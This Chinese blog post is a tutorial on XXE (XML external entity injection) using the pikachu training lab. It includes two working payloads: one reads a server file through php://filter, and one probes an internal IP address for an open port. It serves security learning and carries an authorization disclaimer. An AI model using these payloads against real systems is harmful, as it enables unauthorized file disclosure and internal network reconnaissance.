XXE漏洞详解(三)——XXE漏洞实际运用

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)——XXE漏洞实际运用。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXE漏洞简介

XXE漏洞是External Entiry Injection,即XML外部实体注入漏洞。XXE漏洞主要是发生在应用程序解析XML输入时,没有禁止加载外部实体,从而导致任意文件读取、系统命令执行、内网端口探测等危害。

二、XXE漏洞pikachu靶场介绍

pikachu靶场XXE漏洞如下所示:
在这里插入图片描述
我们简单输入一个XML格式的数据:

<asd>asd</asd>

提交后如下所示:
在这里插入图片描述
从上图中可以看出,该靶场可以解析我们输入的XML格式的数据,并显示在页面上。
我们查看页面PHP源代码如下所示:
在这里插入图片描述
在该代码中,使用了simplexml_load_string()函数,这个函数的作用就是输入一个符合XML格式的数据,然后将该数据转化为一个XML对象实体,然后返回这个实体的键和值。

三、XXE漏洞pikachu靶场实战

最后,我们针对pikachu靶场,利用XXE漏洞,来进行实战演练。

(一)利用XXE漏洞读取文件

XXE漏洞读取文件EXP构造如下所示:

<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">
]>
<asd>&xxe;</asd>

我们将该exp写入到api的输入框中并提交,结果如下所示:
在这里插入图片描述
从上图中可以看出,我们能够利用该exp实现指定文件读取。

(二)利用XXE漏洞进行内网探测

同样的,我们也可以稍微修改上述exp,使得请求的文件是内网文件,借此实现内网探测的目的。exp如下所示:

<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.136.1">
]>
<asd>&xxe;</asd>

如果内网指定IP地址存在并开放了80端口,则上述exp正常返回如下所示:
在这里插入图片描述
而如果该IP地址不存在,或者没有开放80端口,那么上述页面会刷新一段时间,并且最后返回失败。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值